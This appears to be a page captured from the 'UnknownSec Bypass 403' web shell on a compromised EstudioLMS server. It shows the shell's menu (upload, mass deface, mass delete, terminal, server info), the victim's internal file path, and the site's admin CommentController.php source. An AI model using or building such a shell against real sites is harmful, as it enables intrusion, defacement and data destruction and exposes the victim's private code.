UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_312910d356bb
/
app
/
Http
/
Controllers
/
Admin
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
CommentController.php
<?php namespace EstudioLMS\Http\Controllers\Admin; use EstudioLMS\Helpers\GetDataRecords; use EstudioLMS\Http\Controllers\Controller; use EstudioLMS\Repositories\Courses\Resources\CommentInterface; use EstudioLMS\Repositories\Courses\Resources\CommentLogInterface; use mjanssen\BreadcrumbsBundle\Breadcrumbs; use Illuminate\Auth\Guard; use Illuminate\Http\Request; /** * Class CommentController * @package EstudioLMS\Http\Controllers\Admin */ class CommentController extends Controller { /** * @var Guard */ private $auth; /** * @var GetDataRecords */ private $getDataRecords; /** * @var CommentInterface */ private $comment; /** * @var CommentLogInterface */ private $commentLog; /** * @var Breadcrumbs */ private $breadCrumb; /** * CommentController constructor. * @param Guard $auth * @param GetDataRecords $getDataRecords * @param CommentInterface $comment * @param CommentLogInterface $commentLog */ public function __construct( Guard $auth, GetDataRecords $getDataRecords, Breadcrumbs $breadCrumb, CommentInterface $comment, CommentLogInterface $commentLog ) { $this->middleware('admins'); $this->auth = $auth; $this->breadCrumb = $breadCrumb; $this->getDataRecords = $getDataRecords; $this->comment = $comment; $this->commentLog = $commentLog; } /** * @param Request $request * @return \Illuminate\Contracts\View\Factory|\Illuminate\Foundation\Application|\Illuminate\View\View */ public function index(Request $request) { $title = 'Comentários nas Lições'; $env = 'coursemanager'; $this->breadCrumb->addBreadcrumb(trans('admin_master.breadDash'), route('admin.index')); $this->breadCrumb->addBreadcrumb($title, route('admin.assessment.utf.index')); $bread = $this->breadCrumb->generate(); $data = $request->only(['course_id', 'resource_id']); $listCourses = $this->comment->listCourses(); $logs = $this->commentLog->getLogs(); $courses = collect([]); $resources = collect([]); $courses->push(['id' => 0, 'name' => 'Selecione um curso']); foreach ($listCourses as $listCourse) { $getCourse = $this->getDataRecords->getCourseById($listCourse->course_id); $courses->push(['id' => $getCourse->id, 'name' => $getCourse->name]); } $courses = $courses->pluck('name', 'id'); $resources->push(['id' => 0, 'title' => 'Selecione uma lição']); if (isset($data['course_id']) && !empty($data['course_id'])) { $listResources = $this->comment->listResources($data['course_id']); foreach ($listResources as $listResource) { $getResource = $this->getDataRecords ->getResourceByResourceId($listResource->resource_type_id, $listResource->resource_id, true); $resources->push(['id' => $getResource->id . '@' . $getResource->resource_type_id, 'title' => $getResource->title]); } } $resources = $resources->pluck('title', 'id'); $comments = null; if (isset($data['resource_id']) && !empty($data['resource_id'])) { $explode = $arr = explode("@", $data['resource_id'], 2); $resourceId = $explode[0]; $resourceTypeId = $explode[1]; $comments = $this->comment->getComments($data['course_id'], $resourceTypeId, $resourceId); } return view('admin.comments', compact('env', 'title', 'bread', 'data', 'courses', 'resources', 'comments', 'logs')); } }
Copyright © 2026 - UnknownSec